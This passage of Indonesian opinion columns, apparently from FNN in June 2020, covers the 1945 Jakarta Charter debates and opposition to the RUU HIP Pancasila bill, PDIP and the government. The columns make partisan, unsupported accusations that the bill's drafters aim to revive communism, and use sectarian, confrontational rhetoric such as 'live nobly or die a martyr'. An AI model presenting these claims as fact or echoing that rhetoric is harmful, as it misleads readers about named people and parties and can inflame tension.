mengilhami gagasan Soekarno tentang Dasar negara itu. Gagasan Soekarno lebih dekat pada sekularisme. Begitu juga dengan tokoh-tokoh yang berpidato sebelumnya. Masing-masing golongan mengajukan dasar negara menurut pemahaman dan pikirannya masing-masing. Ada yang berdasarkan pada kultur dan kemajemukan bangsa Indonesia. Maka lahirlah dua golongan besar, yaitu “Golongan Nasionalisme Sekuler” dan “Golongan Nasionalisme Islam”. Dari pidato ke pidato, dari gagasan serta usulan yang dikemukakan di dalam sidang resmi BPUPK yang dapat kita baca, ada yang menginginkan negara Republik yang bersifat sekuler. Memisahkan agama dan negara. Ada pula yang ingin mendirikan negara berdasarkan agama. Ki Bagus Hadikusumo menginginkan negara Republik yang akan merdeka dengan dasar Islam atau negara Islam. Sementara Sukiman Wirdjosanjojo menginginkan negara Khilafah. Tidak hanya beberapa orang itu. Banyak pidato-pidato waktu itu yang disampaikan oleh semua anggota BPUPK, baik dari golongan “Nasionalisme Islam” maupun “Nasionalisme Sekuler”. Dalam pandangan ideologi yang berbeda itu, terakumulasi semua pikiran para tokoh-tokoh untuk dijadikan rujukan bagi dasar Indonesia merdeka. Sidang demi sidang di lewati. Perdebatan mengenai dasar negara terus menjadi bahan perdebatan yang hangat. Para ideologi tampil dengan sangat memukau. Mereka membicarakan seperti apa Filosofiche Groundslaag Indonesia merdeka. Dalam polemik ideologi itu, pertentangan pikiran yang tajam, maka jalan tengah di ambil. Caranya membentuk “Panitia Sembilan” yang didalamnya terdapat 4 orang golongan “Nasionalis Kebangsaan dan nasionalis Islam serta satu orang perwakilan Kristen. Berangkat dari berbagai polemik dan pertentangan pemikiran yang panjang tersebut, ditemukanlah rumusan. Rumusan itu diberi nama “Piagam Jakarta”. Yang dalam bahasa inggris disebut sebagai “Jakarta Charter”. Penemuan kesepakatan itu terjadi pada tanggal 22 Juni 1945. Soekarno dalam sidang untuk melaporkan kerja panitia sembilan itu meyakinkan semua pihak bahwa Piagam Jakarta itu adalah Gentlemen Agreement. Kata Soekarno selanjutnya, “ini adalah hasil kesepakatan “konsensus” yang dicapai dengan susah payah. Oleh sebab itu, “saya meminta anggota dapat menerima keputusan ini”. Semua anggota BPUPK pun bersepakat. Menerima dengan suara bulat keputusan panitia sembilan itu, yang diberi nama “Piagam Jakarta”. Rumusan adalah Ketuhanan Dengan Kewajiban Menjalankan Sayariat Islam bagi Pemeluk-pemeluknya dengan Dasar Kemanusiaan Yang Adil dan Beradab, Persatuan Indonesia, Kerakyatan Yang Dipimpin Oleh Hikmat Kebijaksanaan Dalam Permusyawaratan Perwakilan, serta Keadilan Sosial Bagi Seluruh Rakyat Indonesia. Setelah “Piagam Jakarta” disepakati, muncul keberatan dari kalangan Kristen. Dr. Latuharhari sebagai perwakilan ummat kristen menyampaikan keberatan. Meskipun tidak masuk dalam panitia sembilan. Latuharhari bertanya, kalaulah syariat Islam dijalankan, apakah tidak akan terjadi hukuman yg berat seperti potong tangan, razam bagi pejina dan berbagai macam hukuman yang keras? Kekhawatiran Dr. Latuharhari itu dijawab oleh Haji Agus Salim, “tidak tuan Latuharhari. Alasannya, Ketuhanan dengan kewajiban menjalankan syariat Islam bagi pemeluk-pemeluknya dengan dasar kemanusiaan yang beradab”. Dan kesalahpahaman itu dapat diluruskan. Semua pihak bersepakat bahwa syariat Islam dan pelaksanaannya dalam kehidupan berbangsa dan bernegara, tidak boleh keluar dari “Ketuhanan dengan Kewajiban menjalankan Syariat Islam bagi pemeluk-pemeluknya berdasarkan kemanusiaan yang adil dan beradab”. Artinya apa? Bahwa hukuman yang dipahami oleh Dr. Latuharhari adalah punicment dalam Islam. Itu hukuman maksimal. Dalam praktiknya sangat jarang dilakukan. Banyak contoh zaman Nabi Muhammad SAW dan para sahabat tidak mempraktikkan hukuman yang demikian beratnya. Setelah falsafah sudah diterima dan final, akhirnya Haji Agus Salim menyusun Naskah Proklamasi (yang tidak jadi dibacakan). Kemudian dapat kita baca dalam Mukaddimah (pembukaan) UUD 1945. Konon itu adalah buah tangan Haji Agus Salim. Pada Alinea keempat Mukaddimah, Haji Agus Salim mencantumkan secara tersirat dua ayat dalam AL-Quran. Demikianlah Nilai Islam mengisi kemerdekaan Indonesia. Setelah “Piagam Jakarta” menjadi resmi Falsafah Dasar Indonesia Merdeka, maka BPUPKI dibubarkan. Selanjutnya dibentuklah Panitia Persiapan Kemerdekaan Indonesia (PPKI), dengan KetuaPPKI adalah Soekarno dan Moh. Hatta sebagai Wakil Ketua. (bersmambung). Penulis adalah Ketua Lembaga Dakwah DPP IMM

Umat Islam Tolak Pancasila Rumusan 1 Juni 1945

by M Rizal Fadillah Jakarta FNN – Senin (22/06). Bermain-main di perdebatan ideologi akan mengentalkan semangat perjuangan umat Islam untuk kembali pada dimensi ruang dan waktu dalam perjalanan kesejarahannya. Mengagung-agungkan Pancasila rumusan 1 Juni 1945 yang menjadi bagian dari eforia kemenangan Pemilu 2019 lalu merupakan sikap politik bodoh dan tidak bijaksana. Umat Islam dipastikan dengan gigih menolak rumusan Pancasila 1 Juni 1945. Umat Islam tidak akan pernah mengakui hari lahir Pancasila adalah 1 Juni 1945. Bagi umat Islam, hari kelahiran Pancasila adalah 22 Juni 1945 yakni Piagam Jakarta yang ditandatangani Panitia Sembilan termasuk di dalamnya Ir. Soekarno tepat 75 tahun yang lalu. Begitu pula dengan Dekrit Presiden 5 Juli 1959, yang menyebut bahwa Piagam Jakarta menjiwai UUD 1945 dan merupakan satu kesatuan dengan UUD 1945. Bung Karno sendiri yang menyatakan bahwa kembali lagi kepada UUD 1945 pada 5 Juli 1959 dengan “Piagam Jakarta” sebagai satu kesatuan yang tak terpisahkan. Jadi, jangan paranoid melihat “Piagam Jakarta” sebagai barang haram. Toh, umat Islam sampai sekarang biasa-biasa saja. Tetap setia untuk mengawal dan mengamankan Pancasila 18 Agustus 1945. Umat Islam juga tidak menuntut dan mendesak agar syariat Islam diberlakukan bagi pemeluknya. Sebaliknya, pemerintah yang berambisi untuk menjual dan memakai nama-nama syariah dalam berbagai produk hokum di bidang ekonomi. Ada perbakan syariah, asuransi syariah, darareksa syariah dan obligasi syariah. RUU HIP yang pengusul awal adalah kader-kader PDIP, ternyata bernuansa dan berbasis pada Pancasila 1 Juni 1945. Karenanya umat Islam dengan keras dan tegas menolak. Tidak ada kompromi di ranah itu. Apalagi hendak mengkerdilkan posisi Agama dan sila Ketuhanan Yang Maha Esa. Pemerintah menyatakan menunda pembahasan RUU HIP. Sayangnya, sikap pemerintah ini tidak mendapat sambutan dari umat Islam. Tuntutan umat Islam tetap, yaitu pencabutan, penghentian, dan pembatalan RUU HIP. Bukan untuk direvis, lalu dilanjutkan pembahasannya. Semangat "Soekarnois" untuk menghidupkan Pancasila rumusan 1 Juni 1945 akan mendapat perlawanan sengit umat Islam. Ini memancing konflik atau gesekan yang jatam dank eras. Sebab umat Islam kemungkinan akan membangkitkan Pancasila rumusan Piagam Jakarta 22 Juni 1945. Kelompok kiri dan "Soekarnois" dinilai oleh umat Islam telah mengkhianati konsensus bangsa berupa rumusan Pancasila 18 Agustus 1945. Maka berlakulah slogan "mereka jual, kita beli". Piagam Jakarta harus dihormati. Hari lahir Pancasila bukan 1 Juni 1945 tetapi 22 Juni 1945. Ingat itu. Jika hendak kembali ke konsensus bangsa 18 Agustus 1945, umat Islam pasti siap dan menerima dengan lapangan dada. Bersama-sama mengimplementasikan Pancasila hasil consensus pendiri bangsa. Akan tetapi jika fakta politik terjadi pengkhianatan, maka umat Islam dipastikan tidak tinggal diam. Pasti akan maju berjuang membela dan menegakkan kebenaran. Berkhidmat pada agama dan syari'at Allah SWT. Rezim Jokowi kini diuji kemampuan dalam mengatur kehidupan berbangsa dan bernegara. Apakah konsisten dengan menjaga konsensus atau menciptakan iklim berbasah-basah dalam kemunduran ideologi. Jika iklim ini yang sengaja dibangun, maka selayaknya Jokowi harus segera turun. Umat Islam selalu mencari kawan. Tidak pernah mau mencari musuh. Akan tetapi jika ada musuh datang senduri menghadang, maka umat Islam pantang mundur ke belakang. Salah satu dosa besar adalah lari dari medan perjuangan untuk menegakkan kebernaran. Artinya, umat akan melawan sampai menang. Allahu Akbar. Penulis adalah Pemerhati Politik dan Keagamaan.

Mantaplah Arief Poyuono, Bakal Merebut Gerindra dari Prabowo

By Asyari Usman Jakarta, FNN - Siapa yang berani meramalkan Arief Poyuono akan menjadi ketua umum Gerindra? Pasti Anda bilang tak masuk akal, bukan? Mana mungkin dia menyingkirkan Prabowo Subianto (PS). Karena tak masuk akal itu, saya menjadi orang pertama yang membuat prediksi ‘out of the box’ ini. Poyuono akan menjadi bintang Gerindra. Dia akan menjadi ketua umum, suatu hari kelak. Mungkin tak lama lagi. Poyu akan merebut Gerindra dari tangan Prabowo. Apa alasan saya? Sederhana saja. Poyu (panggialan akrab Poyuono) berani melawan arus di partainya. Juga melawan publik secara terbuka. Dan subjeknya pun tak tanggung-tanggung: soal kebangkitan PKI. Dia mengatakan, isu kebangkitan PKI dimainkan oleh ‘kadrun’. Ini bukan pernyataan sembarangan. Anda semua paham bahwa ‘kadrun’ adalah julukan yang dilabelkan oleh kelompok pembela kemungkaran. Kelompok ini membenci ulama, Islam, dan umat Islam. Bahwa yang dituju Poyu dengan sebutan ‘kadrun’ itu adalah umat Islam, sangat logis. Sebab, yang mencurigai kebangkitan PKI lewat RUU HIP adalah umat Islam. Itu sangat jelas. Terus, mengapa Arief Poyu diramalkan menjadi ketum Gerindra? Itu tadi, karena keberanian dia yang luar biasa. Dia siap berhadapan dengan siapa saja. Siap berhadapan dengan pimpinan Gerindra. Dia bernyali baja. Dia tegas menolak panggilan Dewan Kehormatan (DK) partai. Padahal dia paham bahwa Dewan Kehormatan adalah organ yang bisa menjatuhkan hukuman berat. Poyu tak perduli ancaman dari DK. Dia tidak gentar. Dia lawan semua petinggi Gerindra. Di situlah hebatnya Poyu. Dia tak ambil pusing dengan panggilan DK. Malah, dahsyatnya, Poyu merepeti para politisi senior Gerindra dengan sebutan politisi gagal paham dan “otaknya kayak kadrun-kadrun”. Mantaplah Arief Poyuono! Menurut Poyu, dia tidak mengatasnamakan Gerindra ketika mengeluarkan pernyataan soal ‘isu PKI yang dimainkan kadrun’ itu. Menurut Poyu, dia berbicara atas nama ketua umum Serikat Pekerja BUMN. Sikap anti-Islam Poyu itu memiliki nilai jual yang tinggi di internal Gerindra. Sebab, banyak sekali senior di sana yang sejalan dengan pikiran Poyu. Dari faksi inilah Poyu akan diantarkan menuju kursi ketua umum. Pasti dia sudah memetakan ‘road map’-nya untuk merebut Gerindra. Sama-sama kita lihat nanti keputusan DK Gerindra yang akan bersidang Selasa, 23 Juni 2020 (besok). Saya yakin, Poyu tidak akan bisa dipecat seperti dituntut oleh Andre Rosiade –politisi senior Gerindra yang mewakili daerah anti-PKI. Yaitu, wilayah Sumatera Barat. Mengapa Poyu percaya diri mengeluarkan pernyataan yang bertentangan dengan sikap anti-komunisme/PKI yang sedang membara? Itu disebabkan adanya suasana yang memihak pada komunisme-PKI sekarang ini. Bisa jadi Poyu merasa yakin bahwa peluang kebangkitan paham dan partai terlarang itu kini semakin besar. Barangkali dia sudah mendapatkan isyarat entah dari siapa. Poyu adalah realitas baru di Gerindra. Dia menjadi sesuatu yang ‘lain’. Terasa menyegarkan suasana partai. Tidak monoton. Bisa jadi juga dia adalah figur yang ‘jujur’ di Gerindra. Apa adanya. Poyu tidak menyembunyikan sikapnya terhadap umat Islam. Tidak pula menyembunyikan pikirannya tentang komunisme-PKI. Mungkin ada pertanyaan: apakah Gerindra nantinya tidak terpuruk akibat pernyataan Poyu? Bisa iya, bisa tidak. Gerindra akan terpuruk kalau keluarga besar partai itu membuang Poyu. Kok bisa begitu? Sebab, di pemilihan legislaif berikutnya Gerindra harus membidik suara dari basis PDIP. Poyu paham bahwa Gerindra tidak akan pernah lagi didukung oleh komponen umat Islam garis lurus sebagaimana di pileg-pilpres tahu lalu. Poyu memperhitungkan ini. Sekali lagi, Poyu jeli membaca ini. Dia tahu bahwa menyerang umat Islam akan memindahkan suara PDIP ke Gerindra. Ini kalkulasi Poyu. Dia menunjukkan kualitas seorang Ketum. Karena itulah, Poyu akan melejit di Gerindra. Dia sangat diperlukan oleh partai Pak PS ini. Boro-boro dipecat, Poyu yang malah akan menendang orang-orang seperti Andre Rosiade, Sufmi Dasco dan Fadli Zon. Poyu akan merebut Gerindra. Dia akan singkirkan Prabowo. Dan Prabowo akan menyingkir dengan senang hati. Kita lihat saja nanti. Pak PS akan berterima kasih. Bukan marah. Sebab, Poyu akan mengembalikan Gerindra ke khittahnya. Ke tujuan aslinya.[] 22 Juni 2020(Penulis Wartawan Senior)

Cabut RUU HIP dan Bubarkan BPIP, Lalu Bersihkan PDIP

by M Rizal Fadillah Jakarta FNN – Ahad (21/06). Badan Pembinaan Ideologi Pancasila (BPIP) dibentuk berdasarkan Peraturan Presiden (Perpres). Setelah itu, badan ini bingung sendiri mengenai ruang lingkup dan program kerja. Akibatnya, implementasi menjadi "serabutan" dan tidak bermakna. Urusan ece-ece kaya konser amal saja ditangani oleh BPIP. Padahal itu sekedar cari donasi untuk seniman yang terdampak covid 19. Sorotan tajam justru pada gaji personal Dewan Pengarah maupun pengelola BPIP. Tidak seimbang antara pendapatan dengan pekerjaan. Pincang jadinya. Agar lebih kuat dan jelas maka dibutuhkan aturan yang lebih tinggi. Masa sekelas BPIP hanya diatur oleh Perpres? seharusnya dengan oleh undang-undang dong. Begitu alasan para pendorong RUU Haluan Ideologi Pancasila (HIP). Undang-Undang inilah yang kelak disiapkan untuk mengatur segala hal-ihwal mengenai ideologi Pancasila beserta institusi pembinaannya. Menjadi penafsir tunggal urusan Pancasila. Hebat bukan? Diproseslah RUU HIP dengan "strategi" pengajuan oleh DPR. Mungkin dengan maksud agar seolah-olah itu adalah aspirasi rakyat. Tetapi strategi ini kurang jitu, dan terlalu sumier. Ada tiga peertimbangan mengapa RUU ini sumier. Pertama, selalu yang dijadikan alasan adalah peningkatan status aturan BPIP dari Perpres menjadi undang-undang. Jadinya, nampak sekali bahwa kepentingan Pemerintah dominan. Ini aneh dan salah fikir. Mengapa institusi dulu yang dibuat? Setelah itu barulah peraturan belakangan? Semestinya peraturan dahulu berupa undang-undang misalnya. Baru lembaganya menyusul. Kedua, proses hingga menjadi RUU tidak melibatkan komponen masyarakat. Terkesan dilakukan diam-diam atau sembunyi-sembunyi. Artinya ada misi yang tak ingin diketahui masyarakat. Akibatnya, setelah menjadi RUU "meledak" lah unek-unek dan kejengkelan masyarakat. Menuntut adanya keterbukaan dan akhirnya "bongkar-bongkaran". Ketiga, dengan dijadikan sebagai RUU ini sebagai inisiatif dewan, maka masuklah "penyelundupan ide" dari kelompok kepentingan. Nampaknya ada faksi kiri "soekarnois" di internal PDIP yang memanfaatkan momen pembuatan RUU Haluan Ideologi Pancasila ini. Berlindung sambil menelikung. Jika pemerintah cerdas, dan memang keperluannya adalah aturan untuk BPIP atau badan sejenisnya, maka tentu RUU datang dari pemerintah saja. Sehingga aspek filosofis, yuridis, dan sosiologisnya akan lebih baik. Tidak ada penelikungan ideologis dari kader partai di dewan. Tetapi memang nasi sudah menjadi bubur. RUU HIP juga telah babak belur. Bukan langkah bijaksana untuk merevisi atau otak atik. Rakyat sudah memelototi, bahkan mengultimatum DPR dan pemerintah. Opsi hanya satu, yaitu cabut dan hentikan proses lanjutan RUU HIP ini. Tidak ada opsi lain Bila keberadaan BPIP ini ternyata dianggap merepotkan dan menjadi kerjaan yang tidak jelas, maka sebaiknya segera bubarkan saja. Lumayan bisa menghemat anggaran yang besar tiap tahun. Lagi pula badan ini hanya menjadi "tempat untuk bersantainya para senior"saja. Pemerintah dan DPR jangan sampai dipandang oleh rakyat sebagai lembaga kongkalikong yang pandai merekayasa kebusukan. Apalagi untuk urusan yang berkaitan dengan ideologi dan dasar negara yang sudah melalui proses panjang dalam mencapai konsensus. Tampkanya Pemerintah dan DPR memang sedang mengalami salah fikir. Bisa juga gagal pikir. Pemerintah dan DPR jangan sesat verfikir. Menganggap rakyatnya dianggap bodoh dan tolol semua. Yang pasti rakyat, khusunya umat Islam sudah tahu bahwa RUU HIP bukan untuk kepentingan rakyat. Tetapi untuk kepentingan pemerintah dan kelompok kepentingan di PDIP. Pemerintah dan DPR sebaiknya cabut dan batalkan saja RUU HIP ini, karena misinya telah gagal. Bukan untuk rakyat. RUU HIP sudah menjadi "sampah" bagi rakyat Indonesia. Mengambangkan hanya menunda datangnya bencana. Penolakan rakyat, khususnya umat Islam terhadap RUU HIP ini akan datang secara bergelombang, dahsyad dan mengerikan. Dipastikan suara aspirasi akan semakin menggigit dan menyengat. Untuk itu, sebaiknya ikuti saja maunya rakyat. Pasti selamat bangsa ini. Penulis adalah Pemerhati Politik dan Kebangsaan.

Umat Islam Buru Oknum Dibalik RUU HIP

by Tony Rosyid Jakarta FNN – Ahad (21/06). Ada delapan maklumat MUI. Salah satunya meminta pihak berwajib mengusut para oknum yang berada di balik Rancangan Undang-Undang Haluan Ideologi Pancasila (RUU HIP). Siapa saja yang dituduh sebagai "para oknum" di balik RUU HIP tersebut? MUI harus bertanggung jawab untuk menjelaskan kriteria siapa yang dianggap oknum itu. Aapakah mereka itu oknum yang menjadi konseptor, oknum pembuat naskah akademik dan oknum anggota dewan yang mengusulkan ke Badan Legislasi untuk menjadi RUU hak usul inisiatip dewan. Kriterianya harus dijelaskan. Siapa saja oknumnya juga perlu disampaikan kepada masyarakat. Jangan sampai aparat dan rakyat, khususnya umt Islam menjadi salah sasaran. Ini sangat penting untuk menghinari kemungkinan timbulnya saling duga-menduga, curiga-mencurigai di masyarakat. Kita coba untuk tracking di parlemen. Pertama, dari fraksi mana saja yang mengusulkan RUU HIP pertama kali? Paling sedikit ada dua puluh lima orang anggota DPR yang mengusulkan. Apakah para pengusul dari DPR itu semuanya satu fraksi dari PDIP saja, atau ada anggota dari fraksi lain lagi? Kedua, fraksi mana saja yang tetap ngotot menolak TAP MPRS No 25 Tahun 1966 diamsukan sebagai konsideran. Juga fraksi yang mengusulkan Trisila, lalu Ekasila yang menggiring ke makna Gotong Royong? Ketiga, siapa aktor konseptor dan penyusun draft akademik RUU HIP? Bagi MUI, dan juga umumnya Umat Islam, masalah RUU HIP bukan hanya masalah materiil dan formilnya saja. Bukan pula hanya soal prosesnya saja. Tapi akumulasi materiil, formil dan prosesnya menimbulkan dugaan adanya motif yang dicurigai, sehingga patut untuk diusut lebih lanjut. Apakah MUI terlalu emosional? Tidak juga. Malah sikap MUI ini sangat rasional. Agar di masa yang akan datang, tidak ada lagi pihak-pihak yang berupaya untuk mensabotase makna dan nilai luhur, apalagi merubah Pancasila sebagai dasar negara. Itulah pesan yang ingin disampaikan oleh MUI. MUI mengingatkan, tidak perduli siapun anda, dan dari organisasi manapun, “jangan coba-coba untuk main-main dengan Pancasila. Jika anda punya keinginan untuk mengutak-utik Pancasila, maka anda akan berhadapan dengan umat Islam. Sebab umat Islam akan menjadi garda terdepan untuk menjaga kemurnian Pancasila sebagai ideologi dan dasar negara yang tanggal 18 Agustus 1945. Membela Pancasila itu nggak harus bilang di televise dan media catak, "Aku Pancasila". Itu sih mah nora dan katrok. Apalagi munculnya pada saat pemilu. Sikap tegas, terang dan jelas dari MUI dan Ormas-Ormas Islam saat ini itulah sikap Pancasilais yang sesungguhnya. Kenapa MUI yang didukung ormas dan umat Islam menuntut untuk dilakukan pengusutan? Agar hukum itu ditegakkan. Penting untuk hokum ditegakkan tanpa melihat siapa pelakukan. Karena ada untuk yang mengatur mengenai persoalan ini, yaitu UU Nomor 27 Tahun 1999. Pasal 107 huruf d UU 27 Tahun 1999 berbunyi "barangsiapa yang secara melawan hukum di muka umum dengan lisan, tulisan dan atau melalui media apapun, menyebarkan atau mengembangkan ajaran Komunisme/Marxisme-Leninisme dengan maksud mengubah atau mengganti Pancasila sebagai dasar negara, dipidana dengan pidana paling lama 20 (dua puluh) tahun." Tuntutan dan sikap tegas MUI tidak hanya rasional. Tetapi juga konstitusional. Aparat Kepolisian harus segera usut pihak-pihak yang" diduga" berupaya mengganti Pancasila melalui RUU HIP. Ini sudah merupakan palanggaran yang nyata-nyata terhadap UU No 27 Tahun 1999. Tidak secara otomatis penyusun draft RUU jadi tersangka. Sabar dulu. Perlu juga untuk didalami motif dibalik usulan RUU HIP. Juga apa motif mengapa ada yang tetap saja ngotot untuk menolak TAP MPRS No 25 Tahun 1966 dicantumkan dan dijadikan sebagai di konsideran RUU. Di parlemen, penolakan sudah dilakukan oleh dua fraksi, yaitu PKS dan Demokrat. Dua fraksi ini tak mau tanda tangan untuk melanjutkan pembahasan RUU HIP di DPR. Bagaimana dengan fraksi-fraksi yang lain? Mengapa fraksi lain menyetujui? PDIP? Publik tahu PDIP yang paling bersemangat bahas RUU HIP. Ketika maklumat MUI keluar, PDIP masih tetap ingin melanjutkan pembahasan. PDIP masih mau melakukan negoisiasi. PDIP menyatakan membuka diri untuk memasukkan TAP MPRS No 25 Tahun 1966. Tapi minta larangan radikalisme dan khilafaisme juga dimasukkan. Ha ha ha? Publik jadi kaget sambil ketawa. Sejumlah pengamat menganggap bahwa sikap PDIP tersebut sangat blunder. PDIP "seolah" ingin menghadapi dan menantang gelombang kemarahan umat Islam. Merasa diri kuat sebagai pemenang pemilu. Sayangnya, sikap PDIP juga mendapat reaksi keras umat Islam. Protes dan demo makin masif di berbagai daerah. Nasi sudah jadi bubur. Umat Islam siap dengan segala resiko yang akan terjadi. Isunya saat ini, bukan lagi soal revisi RUU HIP dan memasukkan TAP MPRS No 25 Tahun 1966. Tapi umat Islam menolak dengan tegas adanya RUU HIP. Umat Islam juga minta ada pengusutan. Demi menjaga kemurnian Pancasila yang 18 Agustus 1945, umat Islam sudah siap dengan posisi “masiroh kubro”. Umat Islam juga siap dengan “isy kariman au mut syahidan”. Yang artinya, “hidup mulia atau mati syahid”. Pesan ini seharusnya dijadikan sinyal dan pesan penting buat PDIP untuk tidak lagi berpikir melanjutkan pembahasan RUU HIP. Selain minta RUU HIP batalkan, umat Islam melalui MUI sudah menegaskan untuk menuntut para oknum diusut. Tuntutan MUI ini mendapat dukungan dari banyak kalangan. Usut dengan tuntas siapa oknum yang secara sengaja membuat draft RUU HIP dan menolak memasukkan TAP MPRS No 25 Tahun 1966 itu. Adakah punya maksud dan sengaja menggiring RUU HIP ini untuk menghidupkan kembali komunisme PKI? Jika terbukti, maka harus ada pertanggungjawaban secara hukum. Penulis adalah Pengamat Politik dan Pemerhati Bangsa

"HIP Gate", Jokowi Atau Megawati Yang Sumber Masalah?

by M Rizal Fadillah Jakarta FNN – Ahad (21/06). Semua tentu sudah tahu bahwa Rancangan Undang-Undang Haluan Ideologi Pancasila (RUU HIP) adalah inisiatif dari usul DPR. Bukan dari Pemerintah. Artinya, Fraksi PDIPadalah inisiator awalnya. Kemudian didukung oleh Fraksi Golkar, Gerindra, Nasdem, PKB, PAN dan PPP. Walaupun demikian, terkuak motif bahwa usulan RUU ini adalah untuk memberi "bekal" bagi lembaga Badan Pembinaan Ideologi Pancasila (BPIP). Aapalagi badan urusan Pancasila yang berada di bawah koordinasi Presiden. Kelak Pancasila bisa saja diterjemahkan oleh Pancasila sesuka hatinya, terlepas dari siapapun yang menjabat sebagai Presiden. Dengan demikian, siapa saja warga negara yang menafsirkan atau berbicara tentang Pancasila, tidak sama dengan maunya Presiden, bisa bermasalah. Anda bisa saja dianggap tidak lagi Pancasilais atau anti terhadap Pancasila. Karenanya, wajar saja muncul anggapan “RUU HIP ini sebenarnya kebutuhan pemerintah yang sengaja diminta agar disulkan melalui DPR “. Kini ketika Pemerintah menunda pembahasan dan minta DPR menyerap aspirasi kembali, rakyat atau publik terus mengejar siapa sumber? Sipa pencetus? siapa pengusul RUU HIP ini? Masyarakat, khususnya umat Islam sangat bekepentingan untuk mengetaui mereka. Mengenal mereka nama-nama mereka. Makanya MUI pun telah meminta kepada aparat yang berwajib untuk mengusut mereka. Ini disebabkan adanya dugaan, kalau misi dari pengusul atau konseptor RUU HIP ini adalah untuk membuka peluang bagi berkembangnya faham komunisme. Lebih jauh lagi, demi bangkitnya neo-PKI. Terkesan kalau RUU HIP ini murni konsep, pengusulan, serta pembahasan adalah DPR. Meskipun fraksi-fraksi sebagian besar setuju, namun inisiator awal adalah Fraksi PDIP yang merupakan kepanjangan tangan dari PDIP sebagai Partai. Megawati sebagai Ketua Umum adalah penanggung jawab dari kebijakan Partai. Terlihat PDIP hanya berperan sebagai koordinator dari koalisi partai pendukung Pemerintah. Sementara RUU HIP adalah alokasi kepentingan Pemerintah melalui koalisi pendukung di DPR. Maka bukan tak mungkin Pemerintah adalah sumber dari RUU HIP. Jokowi sebagai Presiden adalah penanggung jawabnya. Kini sebagian masyarakat mulai berteriak mengarah pada PDIP. Sampai-sampai ada yang mengajukan usul ekstrim agar pembubaran terhadap PDIP. Andai saja PDIP bisa membuktikan bahwa kepentingan dominan adalah pemerintah, dan konseptor juga adalah pemerintah, sementara kader PDIP hanya membantu, maka pertanggungjawaban mengarah pada Presiden. Bisa saja tekanan akhir mengarah kepada pemakzulan. Sebab RUU HIP ini sensitive, dan telah menimbulkan reaksi publik luar biasa. Konflik ideologi dapat terjadi jika RUU ini berhasil ditetapkan sebagai Undang-Undang. Tentu saja deengan muatan materi pasal-pasal yang kontroversial. Andai kemungkinan yang terjadi adalah revisi, maka hal inipun bukan jaminan akan mampu meredakan kritik. Aspirasi yang terkristalisasi, khususnya dari umat Islam adalah tolak, cabut atau batalkan RUU HIP ini. Bukan untuk direvisi. Bukan untuk dilakukan perbaikan. Bukan juga untuk tambal-sulam di sana-sini. Kini tinggal keterbukaan dari PDIP mengenai asal-muasal RUU HIP ini. Termasuk konon Pasal 7 tentang Trisila dan Ekasila, lalu menjadi Gotong Royong yang bukan berasal dari PDIP. Meskipun jejak digital menunjukkan adanya pidato Megawati di ulang tahun PDIP 2017 soal Pancasila, Trisila, dan Ekasila lalu Gotong Rotong. Kalau begitu, dari siapakah masuknya Pasal 7 tersebut ? Kejujuran dan keterbukaan menjadi sangat penting agar masalah RUU yang berbau komunisme-PKI ini dapat terselesaikan. Semua energi dan kekuatan bangsa harus kembali difokuskan untuk melawan pandemi Covid 19. Juga perbaikan ekonmi nasional porak-poranda akibat Covid 19. Hingga saat ini pertanyaan yang belum terjawab adalah siapa sumber atau pencetus ide dan gagasan dari RUU HIP? Apalagi RUU ini dapat menjadi kunci pembuka dan peluang penyebaran komunisme atau bangkitnya neo-PKI. Jokowi ataukah Megawati ? Atau ada pihak yang lain ? Rakyat perlu dan berhak untuk tahu itu. Bukan saatnya lagi bagi DPR maupun Pemerintah main "petak umpet" atau "lempar-lemparan bola", akibat dari reaksi umat Islam yang keras di luar perkiraan pemerintah dan DPR. RUU HIP ternyata merupakan sebuah skandal ideologi. Skandal yang sangat berbahaya untuk bangsa dan negara. Namanya skandal “HIP-Gate”. Penulis adalah Pemerhati Politik dan Kebangsaan.

Protes Terhadap RUU HIP, Apakah Hanya Dibatalkan?

by Tony Rosyid Jakarta FNN – Ahad (21/06). Pemerintah tunda pembahasan RUU HIP. Ditunda, artinya hanya dihentikan untuk sementara. Ditunda itu artinya nanti dilanjutkan lagi. Rehat dulu sebentar. Untuk apa? Pertama, boleh jadi untuk menjaga wibawa dan kebesaran pemerintah dan DPR. Seolah-oleh ada kesan bahwa pemerintah nggak bisa dipressure. Pemerintah ini masih sangat kuat. Untuk itu, harus dengerin? iya. Namun untuk ikutin? Kalau itu nanti dululah. Kedua, tekanan dari umat Islam dianggap belum terlalu kuat. Maklumat MUI dan sikap NU-Muhammadiyah masih perlu dilihat keseriusannya. Apalagi, protes di sejumlah daerah belum menunjukkan tanda-tanda yang menghawatirkan bagi penguasa dan PDIP. Bahasa politiknya masih under control. Belum sampai pada membunyikan alarm keamanan maupun politik. Ketiga, pantau situasi. Kalau protes terus melemah, pembahasan bisa dilanjutkan. Melakukan revisi sana-sini, bisa menjadi ikhtiar untuk melunakkan umat. Apalagi jika ditabrakin dengan isu lainnya. Fokus perhatian bisa saja bergeser. Umat akan kehilangan focus pada RUU HIP. Keempat, sebisa mungkin lakukan negosiasi sana-sini. Bangun komunikasi politik yang intensif dan menguntungkan dengan pihak-pihak terkait. Berikan dan janjikan kompensasi atau barter politik. Biasanya, di meja negosiasi ada hidangan yang menarik. Apalagi kalau ada yang masuk angin. Bisa masuk itu barang dengan sangat gampang. Mungkinkah RUU HIP dibatalkan? Opsi ini hanya akan diambil jika eskalasi protes meningkat. Situasi dianggap memang makin nggak kondusif. Apalagi kalau mesin umat terus dipanasin dengan berbagai macam stigma yang kontra produktif seperti "kadrun" dan sejenisnya. Disisi lain, sejauh mana energi umat mampu bertahan untuk protes? Sampai dimana komitmen MUI mengawal maklumatnya? Sejauhmana ormas-ormas Islam seperti NU, Muhammadiyah, Persis, Al-Irsyadl, PUI, Mathlaul Anwar, Alwahliyah, FPI bisa konsisten dengan sikapnya? Ini akan ikut menentukan situasi nanti. Pertanyaan yang paling mendasar adalah, apa sesungguhnya target umat terkait protes terhadap RUU HIP ini? Apakah sekedar ingin memberi tahu bahwa umat masih ada? Hanya ingin menunjukkan kepada pemerintah dan DPR bahwa umat eksis? Kalau ini targetnya, memprihatinkan. Pasti tidak! Apakah umat memang serius menuntut RUU HIP dibatalkan? Dihentikan secara permanen? Bukan ditunda, direvisi dan dihentikan sementara. Atau seperti maklumat MUI poin 5, minta agar para oknum dibalik RUU HIP diusut? Agar kelak tak ada lagi pihak yang berani otak-atik Pancasila. Target ini yang paling penting, strategis dan sangat masuk akal. Atau protes RUU HIP akan dijadikan sebagai target antara saja. Menjadikan RUU HIP ini sebagai pintu masuk untuk menggaungkan protes terhadap semua aturan dan kebijakan 